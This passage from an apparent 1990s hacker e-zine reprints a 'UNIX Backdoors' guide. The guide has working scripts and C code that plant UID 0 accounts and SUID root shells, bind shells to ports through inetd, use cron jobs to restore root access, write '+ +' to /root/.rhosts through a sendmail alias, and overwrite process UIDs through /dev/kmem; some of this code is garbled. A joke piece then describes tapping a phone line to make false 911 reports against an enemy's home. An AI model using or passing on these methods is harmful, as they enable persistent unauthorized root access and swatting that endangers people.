  517.             - kick / ban anyone from hack / phreak irc channels
  518.               when they ask a question you cannot either answer
  519.               or are too ignorant to understand.
  520.     
  521.             - support the presence of law enforcement and / or
  522.               "narqs" at both public conventions or forums on 
  523.               the internet such as irc, etc.
  524.     
  525.             - Play word games in order to avoid ever having to
  526.               make any sort of commitment through individual 
  527.               action.  ie: hacking / phreaking.  When it is
  528.               convenient to do so (ie: to impress ur friends)
  529.               then the ethical hacker is of course a "darkside"
  530.               hacker openly breaking computer crime laws but of
  531.               course when one is amongst other "ethical hackers"
  532.               one has to put on airs to the contrary.
  533.     
  534.             - Hide behind your copy of the K&R white book and 
  535.               insist that C programming is an arcane and 
  536.               esoteric skill known only to the few.  (*laff*)
  537.     
  538. BoW recognized this for the dangerous paradigm that it was and immediately 
  539. issued a stern commitment to the anathema of all that the "ethical hacker"
  540. stood for.  At the same time, a media whore pseudo-journalist by the name of
  541. "John Markhoff" , realizing that his poor writing skills and attention 
  542. defecit disorder would never get him anywhere, sought to further his career
  543. by focusing his pen on the antics of Kevin Mitnick.  He termed Kevin, a 
  544. "darkside" hacker in the pages of his book "Cyberpunk" and defined the term
  545. with negative connotations.  
  546.  
  547. BoW recognized John Markhoff for the trash that he is and decided to reclaim
  548. the word that Kevin Mitnick had chosen to martyr himself for.
  549.  
  550. BoW became resonant with the DARKSIDE and continues to evolve the archetype
  551. of the darkside hacker to this day...
  552.  
  553. Enter the corporations and the commercialization of our playground...
  554. With that came the ISP...  
  555. And more than likely, with those two events: YOU CAME TO OUR WORLD.
  556.  
  557. Were you on the internet before the ISP was born?  
  558.  
  559. If your access were removed tomorrow could you find your way back to our 
  560. world without purchasing it? Without begging for it? Without having to read
  561. a pop up book or text file, could you do it?
  562.  
  563. If the internet completely ceased to exist tomorrow, where would you go? 
  564. Could you find us again?  Do you know the way?
  565.  
  566. Did you answer the question, or are you too busy insisting that you have
  567. earned your right to be here?
  568.  
  569. * What is your raeson d'etre? *
  570.  
  571. Are you a genuine seeker or do you merely want to be like us?  To get the 
  572. attention we get without trying?
  573.  
  574. * Are you prepared to go all the way? *
  575.  
  576. When your doors are being kicked down, when your beloved computers and
  577. assorted electronic equipment are being indexed and carried out your door by
  578. THE MAN are you going to cry?
  579.  
  580. Are you going to turn all your friends in?  Friends that trusted you with
  581. information about them?  Those that you spent your free time posturing in
  582. front of, bragging to, telling them that you were the real thing... Will you
  583. sell them out because you are a FAKE?
  584.  
  585. Is the freedom of others worth all that?  Is *your* freedom worth all that?
  586.  
  587. To trade them both for a few moments of empty posturing?
  588.  
  589. * DID YOU THINK YOU WERE FOR REAL? *
  590.                                              _
  591.                                           -     -
  592.                                       /      B      \
  593.                                         Y00  +  FoUr
  594.                                      |+-+-+-+0+-+-+-+|
  595.                                         EeE  +  AhH   
  596.                                       \      W      /
  597.                                           -  _  -
  598.  
  599.  
  600. ______________________________________________________________________________
  601.  
  602. 555555555555555555555555555555555555555555555555555555555555555555555555555555
  603. ______________________________________________________________________________
  604. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  605. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  606. BoW BoW BoW BoW BoW Bo|     A GUIDE TO BEING SNEAKY    |BoW BoW BoW BoW BoW Bo
  607. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  608. BoW BoW BoW BoW BoW Bo*    by: Br0th3r M1ch3r0b [YP]   *BoW BoW BoW BoW BoW Bo
  609. ==============================================================================
  610.  
  611.                         y0y0y0 f3ll0w aYch-p33'RzZ..
  612.  
  613.             d1s b th' 1 & th' 0nly Br0th3r M1ch3r0b 0f th3 Y0rksh1r3 
  614.             P0$$3 (ph33r, l4ym0rzZ!@#$).  th1z 1z 4 f1l3 k0nt41n1ng
  615.             sUm v3ry 0-dAy x-pL0itZz and 1npH(), s0 eY3 4m trU$t1ng 
  616.             1n u BoW r34d1ng el8 du0dz t0 k33p th1z s3krUt t3kn1q 0ut 
  617.             0f th3 h4ndz 0f l4ym0rz.   
  618.             
  619.             app3nd3d b3l0w 1z 4 /<-r4d t-ph1l3 th@ 1z v3ry v3ry 'sn34ky'
  620.             1n 1tz n4tUr3.. l1k3 eY3 s3d v3ry 0-d4y 1npH(), n0t ph0r 
  621.             pUbl1k d1$tr1bUt10n.  w3 0f th3 y0rksh1r3 p0$$3 h4pp3n3d
  622.             up0n 1t dUr1ng 0ur tr4v3lz 1n cYb3rsp4c3 & d3c1d3d 4ft3r
  623.             mUch d3b4t3 t0 r3l34s3 1t 1n BoW.. s0 h3r3 u g0, enj0y!
  624.  
  625.         
  626.                    daemon9/route of The GUiLD Brings You...
  627.  
  628.                                UNIX Backdoors
  629.                                       
  630.      _________________________________________________________________
  631.                                        
  632.    Ok..... You've been at it for all night. Trying all the exploits you
  633.    can think of. The system seems tight. The system looks tight. The
  634.    system *is* tight. You've tried everything. Default passwds, guessable
  635.    passwds, NIS weaknesses, NFS holes, incorrect permissions, race
  636.    conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT!
  637.    What's that!?!? A "#" ???? Finally! After seeming endless toiling,
  638.    you've managed to steal root. Now what? How do you hold onto this
  639.    precious super-user privilege you have worked so hard to achieve....?
  640.    
  641.    This article is intended to show you how to hold onto root once you
  642.    have it. It is intended for hackers and administrators alike. From a
  643.    hacking perspective, it is obvious what good this paper will do you.
  644.    Admin's can likewise benefit from this paper. Ever wonder how that
  645.    pesky hacker always manages to pop up, even when you think you've
  646.    completely eradicated him from your system?
  647.    This list is BY NO MEANS comprehensive. There are as many ways to
  648.    leave backdoors into a UNIX computer as there are ways into one.
  649.    
  650.      _________________________________________________________________
  651.                                       
  652. Beforehand
  653.  
  654.    Know the location of critical system files. This should be obvious (If
  655.    you can't list any of the top of your head, stop reading now, get a
  656.    book on UNIX, read it, then come back to me...). Familiarity with
  657.    passwd file formats (including general 7 field format, system specific
  658.    naming conventions, shadowing mechanisms, etc...). Know vi. Many
  659.    systems will not have those robust, user-friendly editors such as Pico
  660.    and Emacs. Vi is also quite useful for needing to quickly seach and
  661.    edit a large file. If you are connecting remotely (via
  662.    dial-up/telnet/rlogin/whatver) it's always nice to have a robust
  663.    terminal program that has a nice, FAT scrollback buffer. This will
  664.    come in handy if you want to cut and paste code, rc files, shell
  665.    scripts, etc...
  666.    
  667.    The permenance of these backdoors will depend completely on the
  668.    technical saavy of the administrator. The experienced and skilled
  669.    administrator will be wise to many (if not all) of these backdoors.
  670.    But, if you have managed to steal root, it is likely the admin isn't
  671.    as skilled (or up to date on bug reports) as she should be, and many
  672.    of these doors may be in place for some time to come. One major thing
  673.    to be aware of, is the fact that if you can cover you tracks during
  674.    the initial break-in, no one will be looking for back doors.
  675.    
  676.      _________________________________________________________________
  677.                                       
  678. The Overt
  679.  
  680.    [1] Add a UID 0 account to the passwd file. This is probably the most
  681.    obvious and quickly discovered method of rentry. It flies a red flag
  682.    to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my
  683.    advice is DO NOT simply prepend or append it. Anyone causally
  684.    examining the passwd file will see this. So, why not stick it in the
  685.    middle...
  686.    
  687. #!/bin/csh
  688. # Inserts a UID 0 account into the middle of the passwd file.
  689. # There is likely a way to do this in 1/2 a line of AWK or SED.  Oh well.
  690. # daemon9@netcom.com
  691.  
  692. set linecount = `wc -l /etc/passwd`
  693. cd                                      # Do this at home.
  694. cp /etc/passwd ./temppass               # Safety first.
  695. echo passwd file has $linecount[1] lines.
  696. @ linecount[1] /= 2
  697. @ linecount[1] += 1                     # we only want 2 temp files
  698. echo Creating two files, $linecount[1] lines each \(or approximately that\).
  699. split -$linecount[1] ./temppass         # passwd string optional
  700. echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  701. cat ./xab >> ./xaa
  702. mv ./xaa /etc/passwd
  703. chmod 644 /etc/passwd                   # or whatever it was beforehand
  704. rm ./xa* ./temppass
  705. echo Done...
  706.  
  707.    NEVER, EVER, change the root password. The reasons are obvious.
  708.    
  709.    [2] In a similar vein, enable a disabled account as UID 0, such as
  710.    Sync. Or, perhaps, an account somwhere buried deep in the passwd file
  711.    has been abandoned, and disabled by the sysadmin. Change her UID to 0
  712.    (and remove the '*' from the second field).
  713.    
  714.    [3] Leave an SUID root shell in /tmp.
  715.    
  716. #!/bin/sh
  717. # Everyone's favorite...
  718.  
  719. cp /bin/csh /tmp/.evilnaughtyshell      # Don't name it that...
  720. chmod 4755 /tmp/.evilnaughtyshell
  721.  
  722.    Many systems run cron jobs to clean /tmp nightly. Most systems clean
  723.    /tmp upon a reboot. Many systems have /tmp mounted to disallow SUID
  724.    programs from executing. You can change all of these, but if the
  725.    filesystem starts filling up, people may notice...but, hey, this *is*
  726.    the overt section....). I will not detail the changes neccessary
  727.    because they can be quite system specific. Check out
  728.    /var/spool/cron/crontabs/root and /etc/fstab.
  729.    
  730.      _________________________________________________________________
  731.                                       
  732. The Veiled
  733.  
  734.    [4] The super-server configuration file is not the first place a
  735.    sysadmin will look, so why not put one there? First, some background
  736.    info: The Internet daemon (/etc/inetd) listens for connection requests
  737.    on TCP and UDP ports and spawns the appropriate program (usally a
  738.    server) when a connection request arrives. The format of the
  739.    /etc/inetd.conf file is simple. Typical lines look like this:
  740.    
  741. (1)     (2)     (3)     (4)     (5)     (6)             (7)
  742. ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
  743. talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd
  744.  
  745.    Field (1) is the daemon name that should appear in /etc/services. This
  746.    tells inetd what to look for in /etc/services to determine which port
  747.    it should associate the program name with. (2) tells inetd which type
  748.    of socket connection the daemon will expect. TCP uses streams, and UDP
  749.    uses datagrams. Field (3) is the protocol field which is either of the
  750.    two transport protocols, TCP or UDP. Field (4) specifies whether or
  751.    not the daemon is iterative or concurrent. A 'wait' flag indicates
  752.    that the server will process a connection and make all subsequent
  753.    connections wait. 'Nowait' means the server will accept a connection,
  754.    spawn a child process to handle the connection, and then go back to
  755.    sleep, waiting for further connections. Field (5) is the user (or more
  756.    inportantly, the UID) that the daemon is run as. (6) is the program to
  757.    run when a connection arrives, and (7) is the actual command (and
  758.    optional arguments). If the program is trivial (usally requiring no
  759.    user interaction) inetd may handle it internally. This is done with an
  760.    'internal' flag in fields (6) and (7).
  761.    So, to install a handy backdoor, choose a service that is not used
  762.    often, and replace the daemon that would normally handle it with
  763.    something else. A program that creates an SUID root shell, a program
  764.    that adds a root account for you in the /etc/passwd file, etc...
  765.    For the insinuation-impaired, try this:
  766.    
  767.    Open the /etc/inetd.conf in an available editor. Find the line that
  768.    reads:
  769.    
  770.         
  771.         daytime stream  tcp     nowait  root    internal
  772.  
  773.    and change it to:
  774.    
  775.         daytime stream  tcp     nowait /bin/sh  sh -i.
  776.  
  777.    You now need to restart /etc/inetd so it will reread the config file.
  778.    It is up to you how you want to do this. You can kill and restart the
  779.    process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will
  780.    interuppt ALL network connections (so it is a good idea to do this off
  781.    peak hours).
  782.    
  783.    [5] An option to compromising a well known service would be to install
  784.    a new one, that runs a program of your choice. One simple solution is
  785.    to set up a shell the runs similar to the above backdoor. You need to
  786.    make sure the entry appears in /etc/services as well as in
  787.    /etc/inetd.conf. The format of the /etc/services file is simple:
  788.    
  789. (1)       (2)/(3)          (4)
  790. smtp      25/tcp           mail
  791.  
  792.    Field (1) is the service, field (2) is the port number, (3) is the
  793.    protocol type the service expects, and (4) is the common name
  794.    associated with the service. For instance, add this line to
  795.    /etc/services:
  796.    
  797.         evil    22/tcp          evil
  798.  
  799.    and this line to /etc/inetd.conf:
  800.    
  801.         evil    stream  tcp     nowait  /bin/sh sh -i
  802.  
  803.    Restart inetd as before.
  804.    
  805.    Note: Potentially, these are a VERY powerful backdoors. They not only
  806.    offer local rentry from any account on the system, they offer rentry
  807.    from *any* account on *any* computer on the Internet.
  808.    
  809.    [6] Cron-based trojan I. Cron is a wonderful system administration
  810.    tool. It is also a wonderful tool for backdoors, since root's crontab
  811.    will, well, run as root... Again, depending on the level of experience
  812.    of the sysadmin (and the implementation), this backdoor may or may not
  813.    last. /var/spool/cron/crontabs/root is where root's list for crontabs
  814.    is usally located. Here, you have several options. I will list a only
  815.    few, as cron-based backdoors are only limited by your imagination.
  816.    Cron is the clock daemon. It is a tool for automatically executing
  817.    commands at specified dates and times. Crontab is the command used to
  818.    add, remove, or view your crontab entries. It is just as easy to
  819.    manually edit the /var/spool/crontab/root file as it is to use
  820.    crontab. A crontab entry has six fields:
  821.    
  822. (1)     (2)     (3)     (4)     (5)     (6)
  823.  0       0       *       *       1       /usr/bin/updatedb
  824.  
  825.    Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the
  826.    month (1-31) month of the year (1-12), day of the week (0-6). Field
  827.    (6) is the command (or shell script) to execute. The above shell
  828.    script is executed on Mondays. To exploit cron, simply add an entry
  829.    into /var/spool/crontab/root. For example: You can have a cronjob that
  830.    will run daily and look in the /etc/passwd file for the UID 0 account
  831.    we previously added, and add him if he is missing, or do nothing
  832.    otherwise (it may not be a bad idea to actually *insert* this shell
  833.    code into an already installed crontab entry shell script, to further
  834.    obfuscate your shady intentions). Add this line to
  835.    /var/spool/crontab/root:
  836.    
  837.         0       0       *       *       *       /usr/bin/trojancode
  838.  
  839.    This is the shell script:
  840.    
  841. #!/bin/csh
  842. # Is our eviluser still on the system?  Let's make sure he is.
  843. #daemon9@netcom.com
  844.  
  845. set evilflag = (`grep eviluser /etc/passwd`)
  846.  
  847.  
  848. if($#evilflag == 0) then                        # Is he there?
  849.         
  850.         set linecount = `wc -l /etc/passwd`
  851.         cd                                      # Do this at home.
  852.         cp /etc/passwd ./temppass               # Safety first.
  853.         @ linecount[1] /= 2
  854.         @ linecount[1] += 1                     # we only want 2 temp files
  855.         split -$linecount[1] ./temppass         # passwd string optional
  856.         echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
  857.         cat ./xab >> ./xaa
  858.         mv ./xaa /etc/passwd
  859.         chmod 644 /etc/passwd                   # or whatever it was beforehand
  860.         rm ./xa* ./temppass
  861.         echo Done...
  862. else
  863. endif
  864.  
  865.    [7] Cron-based trojan II. This one was brought to my attention by our
  866.    very own Mr. Zippy. For this, you need a copy of the /etc/passwd file
  867.    hidden somewhere. In this hidden passwd file (call it
  868.    /var/spool/mail/.sneaky) we have but one entry, a root account with a
  869.    passwd of your choosing. We run a cronjob that will, every morning at
  870.    2:30am (or every other morning), save a copy of the real /etc/passwd
  871.    file, and install this trojan one as the real /etc/passwd file for one
  872.    minute (synchronize swatches!). Any normal user or process trying to
  873.    login or access the /etc/passwd file would get an error, but one
  874.    minute later, everything would be ok. Add this line to root's crontab
  875.    file:
  876.    
  877.  
  878.         29      2       *       *       *       /bin/usr/sneakysneaky_passwd
  879.  
  880.    make sure this exists:
  881.    
  882. #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
  883.  
  884.    and this is the simple shell script:
  885.    
  886. #!/bin/csh
  887. # Install trojan /etc/passwd file for one minute
  888. #daemon9@netcom.com
  889.  
  890. cp /etc/passwd /etc/.temppass
  891. cp /var/spool/mail/.sneaky /etc/passwd
  892. sleep 60
  893. mv /etc/.temppass /etc/passwd
  894.  
  895.    [8] Compiled code trojan. Simple idea. Instead of a shell script, have
  896.    some nice C code to obfuscate the effects. Here it is. Make sure it
  897.    runs as root. Name it something innocous. Hide it well.
  898.    
  899. /* A little trojan to create an SUID root shell, if the proper argument is
  900. given.  C code, rather than shell to hide obvious it's effects. */
  901. /* daemon9@netcom.com */
  902.  
  903. #include<h>
  904.  
  905. #define KEYWORD "industry3"
  906. #define BUFFERSIZE 10
  907.  
  908. int main(argc, argv)
  909. int argc;
  910. char *argv[];{
  911.  
  912.         int i=0;
  913.  
  914.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  915.  
  916.                 if(!(strcmp(KEYWORD,argv[1]))){
  917.                         
  918.                                 /* This is the trojan part. */
  919.                         system("cp /bin/csh /bin/.swp121");
  920.                         system("chown root /bin/.swp121");
  921.                         system("chmod 4755 /bin/.swp121");
  922.                 }
  923.         }
  924.                                 /* Put your possibly system specific trojan
  925.                                    messages here */
  926.                                 /* Let's look like we're doing something... */
  927.         printf("Sychronizing bitmap image records.");
  928.         /* system("ls -alR / >& /dev/null > /dev/null&); */
  929.         for(;i
  930.  
  931.  
  932.  
  933.         [9] The sendmail aliases file.  The sendmail aliases file allows for
  934. mail sent to a particular username to either expand to several users, or
  935. perhaps pipe the output to a program.  Most well known of these is the
  936. uudecode alias trojan.  Simply add the line:
  937.  
  938.  "decode: "|/usr/bin/uudecode"
  939.  
  940.         to the /etc/aliases file.  Usally, you would then create a uuencoded
  941. .rhosts file with the full pathname embedded.
  942.  
  943. #! /bin/csh
  944.  
  945. # Create our .rhosts file.  Note this will output to stdout.
  946.  
  947. echo "+ +" > tmpfile
  948. /usr/bin/uuencode tmpfile /root/.rhosts
  949.  
  950.         Next telnet to the desired site, port 25.  Simply fakemail to decode
  951. and use as the subject body, the uuencoded version of the .rhosts file.  For
  952. a one liner (not faked, however) do this:
  953.  
  954. %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
  955.  
  956.         You can be as creative as you wish in this case.  You can setup an
  957. alias that, when mailed to, will run a program of your choosing.  Many of
  958. the previous scripts and methods can be employed here.
  959.  
  960.   __________________________________________________________________________
  961.                                        
  962.  
  963.         
  964. The Covert
  965.  
  966.  
  967.  
  968.  
  969.         [10] Trojan code in common programs.  This is a rather sneaky method
  970. that is really only detectable by programs such tripwire.  The idea is
  971. simple:  insert trojan code in the source of a commonly used program.
  972. Some of most useful programs to us in this case are su, login and passwd
  973. because they already run SUID root, and need no permission modification.
  974. Below are some general examples of what you would want to do, after obtaining
  975. the correct sourcecode for the particular flavor of UNIX you are backdooring.
  976. (Note:  This may not always be possible, as some UNIX vendors are not so
  977. generous with thier sourcecode.)  Since the code is very lengthy and
  978. different for many flavors, I will just include basic psuedo-code:
  979.  
  980. get input;
  981. if input is special hardcoded flag, spawn evil trojan;
  982. else if input is valid, continue;
  983. else quit with error;
  984. ...
  985.  
  986.         Not complex or difficult.  Trojans of this nature can be done in
  987. less than 10 lines of additional code.
  988.  
  989.   __________________________________________________________________________
  990.                                        
  991.  
  992. The Esoteric
  993.  
  994.  
  995.  
  996.         [11] /dev/kmem exploit.  It represents the virtual of the system.
  997. Since the kernel keeps it's parameters in memory, it is possible to modify the
  998. memory of the machine to change the UID of your processes.  To do so requires
  999. that /dev/kmem have read/write permission.  The following steps are executed:
  1000. Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
  1001. your current process, then spawn a csh, which will inherit this UID.  The
  1002. following program does just that.
  1003.  
  1004. /* If /kmem is is readable and writable, this program will change the user's
  1005. UID and GID to 0.  */
  1006. /* This code originally appeared in "UNIX security:  A practical tutorial"
  1007. with some modifications by daemon9@netcom.com */
  1008.  
  1009. #include <h>
  1010. #include <h>
  1011. #include <signal.h>
  1012. #include <param.h>
  1013. #include <types.h>
  1014. #include <dir.h>
  1015. #include <user.h>
  1016.  
  1017. #define KEYWORD "nomenclature1"
  1018.  
  1019. struct user userpage;
  1020. long address(), userlocation;
  1021.  
  1022. int main(argc, argv, envp)
  1023. int argc;
  1024. char *argv[], *envp[];{
  1025.  
  1026.         int count, fd;
  1027.         long where, lseek();
  1028.         
  1029.         if(argv[1]){            /* we've got an argument, is it the keyword? */
  1030.                 if(!(strcmp(KEYWORD,argv[1]))){
  1031.                         fd=(open("/dev/kmem",O_RDWR);
  1032.  
  1033.                         if(fd
  1034. #include <h>
  1035. #include <h>
  1036.  
  1037. #define LNULL ((LDFILE *)0)
  1038.  
  1039. long address(){
  1040.         
  1041.         LDFILE *object;
  1042.         SYMENT symbol;
  1043.         long idx=0;
  1044.  
  1045.         object=ldopen("/unix",LNULL);
  1046.  
  1047.         if(!object){
  1048.                 fprintf(stderr,"Cannot open /unix.\n");
  1049.                 exit(50);
  1050.         }
  1051.  
  1052.         for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
  1053.                 if(!strcmp("_u",ldgetname(object,&symbol))){
  1054.                         fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_val
  1055. ue);
  1056.                         ldclose(object);
  1057.                         return(symbol.n_value);
  1058.                 }
  1059.         }
  1060.  
  1061.         fprintf(stderr,"Cannot read symbol table in /unix.\n");
  1062.         exit(60);
  1063. }
  1064.  
  1065.         [12] Since the previous code requires /dev/kmem to be world accessable,
  1066.  
  1067. and this is not likely a natural event, we need to take care of this.  My
  1068. advice is to write a shell script similar to the one in [7] that will change
  1069. the permissions on /dev/kmem for a discrete amount of time (say 5 minutes)
  1070. and then restore the original permissions.  You can add this source to the
  1071. source in [7]:
  1072.  
  1073. chmod 666 /dev/kmem
  1074. sleep 300               # Nap for 5 minutes
  1075. chmod 600 /dev/kmem     # Or whatever it was before
  1076.  
  1077.  
  1078.  
  1079. ______________________________________________________________________________
  1080.  
  1081. 666666666666666666666666666666666666666666666666666666666666666666666666666666
  1082. ______________________________________________________________________________
  1083. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1084. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1085. BoW BoW BoW BoW BoW Bo|        HAQING 10-10-321        |BoW BoW BoW BoW BoW Bo
  1086. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1087. BoW BoW BoW BoW BoW Bo*       by: S1l3nt K0ur13r       *BoW BoW BoW BoW BoW Bo
  1088. ==============================================================================
  1089.  
  1090.                R0q 0n $@#$@#  R4m 1t d0wn and sh0v3 it up $@#
  1091.                Phear th3 st33l HST of BoW az it m0ws u d0wn
  1092.                0n th3 inf0rmat10n sup3rhighway.  R u d0wn ?!
  1093.                 Kuz h3r3 k0m3z th3 A-K AZKII SPR4Y $$@#!$#
  1094.  
  1095.                  BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1096.                  BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1097.                  BoW                                    BoW
  1098.                  BoW         HaQing 10-10-321           BoW
  1099.                  BoW        by: S1l3nt K0ur13r          BoW
  1100.                  BoW                                    BoW
  1101.                  BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1102.                  BoW          ]--]===BoW===]----        BoW
  1103.                  BoW            W4r3z 1nj3kt3d          BoW
  1104.                  BoW             H1gh 0ct4n3            BoW
  1105.                  BoW             m0th3r Fuqr            BoW
  1106.                  BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1107.                  BoWBoW..........Phear BoW...........BoWBoW
  1108.                  BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1109.  
  1110.  
  1111. St3p 0n3: KN0w th3 k0d3 @$$#$@
  1112.  
  1113. B3f0re y0u b3g1n haq1ng, it is important that y0u mem0rize the following
  1114. k0de:
  1115.  
  1116. 10-10-321   (T3n T3n Thr33 Tw0 0n3, pl3as3 ign0re th3 dazh3s)
  1117.  
  1118. 1t fl0wz 0ff th3 t0ngue l1ke l3ach axs 0n ur fav0urite w4r3z BB$.
  1119.  
  1120. St3p Tw0: Th1ngz y0u w1ll n33d:
  1121.  
  1122. 1) b31g3 b0x
  1123. 2) Axs t0 junct10n b0x 0f sTup1d m1ddl3 kl4zz 1d10t v1kt1m.
  1124. 3) "EYE PHEAR BoW" t-sh1rt (non-0ptional)
  1125. 4) eff1gy 0f Gen3 Spaff0rd to l34ve h4nging bY junct10n b0x (w4rdz 3n3my
  1126. Haqrs away fr0m ur jUnct10n b0x)
  1127. 5) p0zter 0f tsut0uma sh1m0m0ura t0 d00dle 0n. (opt10nal)
  1128. 6) bUzh t0 h1d3 b3h1nd.
  1129.  
  1130. St3p Thr33: H4ck1ng w1th 10-10-321:
  1131.  
  1132. Sn34k 0ut t0 jUnct10n b0x sn00p3d 0ut and l0cat3d dUr1ng the pr3pat0ry
  1133. w0rk 1n st3p 0ne.  Pr3f3rably d0 th1z 1n th3 evening s0 y0u k4n m0ve by
  1134. cl0ak 0f n1ght, und3t3cted by y0ur ch0sen enemy.  G3t c0mf0rtable behind
  1135. bUzhes s0 y0u are 1n a c0mf0rtable p0sition t0 d0 y0ur w0rk.  If you
  1136. have th3 t1me: perf0rm the relaxat10n ritual outlined in BoW #3.
  1137.  
  1138. N0w y0u are ready $@#$#@
  1139.  
  1140. R3m0ve the c0ver off of the junct10n b0x and l0cate y0ur targ3t line, if
  1141. y0u d0 n0t kn0w h0w to do this u are a fagg0t w4nn4b3 and y0u sh0uld
  1142. st1ck t0 h4cking p0p mach1n3z.  10-10-321 1z f0r m3n $#$@#  0nce y0u
  1143. have l0cat3d the target l1ne to jack into, cl1p onto it w1th the
  1144. alligat0r cl1pz c0ming out of y0ur b31ge box.  (see diagram b3l0w.)
  1145. Y0u sh0uld n0w rece1ve d1altone 0n ur be1ge b0x, if y0u d0 n0t y0u mUzt
  1146. h4ve fucked s0mething up and sh0uld g0 rent s0me anth0ny r0bbinz v1deoz.
  1147. If y0u d0 receive dialt0ne y0u are n0w ready t0 perf0rm th3 d33d.
  1148. D1al the f0ll0wing:
  1149.  
  1150. 10-10-321-911 #
  1151.  
  1152. Wh3n th3 3m3rg3ncy service answ3rz skream inc0herently int0 the ph0ne
  1153. ab0ut du0dz in trenchc0atz f1r1ng semi-aut0matic weap0nz at y0u.  M4ke
  1154. sure t0 make reference to Gene Spaff0rd and Dale Drew, th1z will thr0w
  1155. them 0ff 0f y0ur trail.  Th3 emergency crews (ie: p0lice, firetrucks,
  1156. narqs) sh0uld b w3ll on their way to y0ur targ3tz h0me l0ng b4 y0u even
  1157. hang up.  N0w it iz rec0mm3nded that y0u setup a c0nf.  Dial th3
  1158. f0ll0wing:
  1159.  
  1160. 10-10-321-700-456-1000
  1161.  
  1162. Y0u are n0w dialing alliance telec0nferencing wh1le diverting y0ur call
  1163. thr0ugh 10-10-321.  Kn0w the k0d3 @$@#$@#  N0w f0ll0w the pr0mpts and
  1164. mak3 sure t0 p0und in all y0ur k-k0ol friends int0 the conferenc3.  Y0ur
  1165. c0nvenient c0ver behind th3 bUzh3s w1ll pr0vide excell3nt vantage p0int
  1166. t0 b0th enj0y ur c0nf3r3nc3 fr0m and a gr34t plac3 t0 w4tch all th3
  1167. akt10n that y0u have insured will take plac3 at y0ur enemy's h0use when
  1168. the emergency crews arrive to arr3zt his a$$.
  1169. If y0u g3t b0red, d00dl3 0n the pikture 0f j4pb0y shim0m0ura pr0cured
  1170. in st3p tw0.
  1171.  
  1172. D1agram A:
  1173.  
  1174.                                             .""""".
  1175.                                             | u p |     <--- Haqr h1d1ng
  1176.         .------.  <----- junction b0x      0|  "  |0         0ut Un1x
  1177.         |  SW  |                             \ o /             Styl3
  1178.         | Bell |       b31g3 b0x --> .-.      | |
  1179.         |      |               .-----|*|      ***.
  1180.         |      |       .------'      |#|    *******
  1181.         |      .------'              '_'   ********* <-- Buzh3s 2 h1d3
  1182.         |      |                            ********         1n
  1183.  --------------------------------------------*****-----------------------------
  1184.  
  1185. W0rd @!$@# Th1z k-k0ol g-f1l3 has b33n br0ught t0 y0u by th3 nUmb3r
  1186. 9, Th3 L3tt3rz B, o and W and alz0 bY th3 phrase: FUQ YOU $#@$@#$.
  1187.  
  1188.                 BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1189.                 BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1190.                 BoWBoWBoW      S1l3nt K0ur13r       BoWBoWBoW
  1191.                 BoWBoWBoW         [BoW] '99         BoWBoWBoW
  1192.                 BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1193.                 BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW
  1194.  
  1195.  
  1196.  
  1197. ______________________________________________________________________________
  1198.  
  1199. 777777777777777777777777777777777777777777777777777777777777777777777777777777
  1200. ______________________________________________________________________________
  1201. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1202. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1203. BoW BoW BoW BoW BoW Bo|     HOW TO BE AN ELITE HAQR    |BoW BoW BoW BoW BoW Bo
  1204. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1205. BoW BoW BoW BoW BoW Bo*         by: so1o [CRH]         *BoW BoW BoW BoW BoW Bo
  1206. ==============================================================================
  1207.  
  1208. m4ny 0f u k1dz 0ut th3r3 r 0bv10usly k0nfUz3d aZ t0 h0w t0 b a r34lly
  1209. k00l hAkKr tYp3.. w3ll, 1'v3 d3c1d3d t0 h3lp u l4ym0rZz 0ut w1th th1z 
  1210. v3ry v3ry /<-r4d 4rt1kl3 0n h4ck1ng un1x syst3mz.. h0p3fUlly u w1ll 
  1211. f1nd 1t h3lpfUl wh1l3 expl0r1ng 0n th3 1nph() s00ph3r-h1gHw31gh.  sh0uld 
  1212. u enk0unt3r 4ny d1ff1kUlt13z 0r h4v3 aNy kW3zt10nZ, f33l fr33 t0 k0nt4kt
  1213. m3 v1a t3l3f0n3 @ 44 (0)117 985-7249.  (1tz a .uK # wh1ch m4y b l0ng
  1214. d1st4nc3 ph0r m4ny 0f u amer1k4n h4qrZ.. 1ph u r n0t el3et en0ugh t0 h4v3
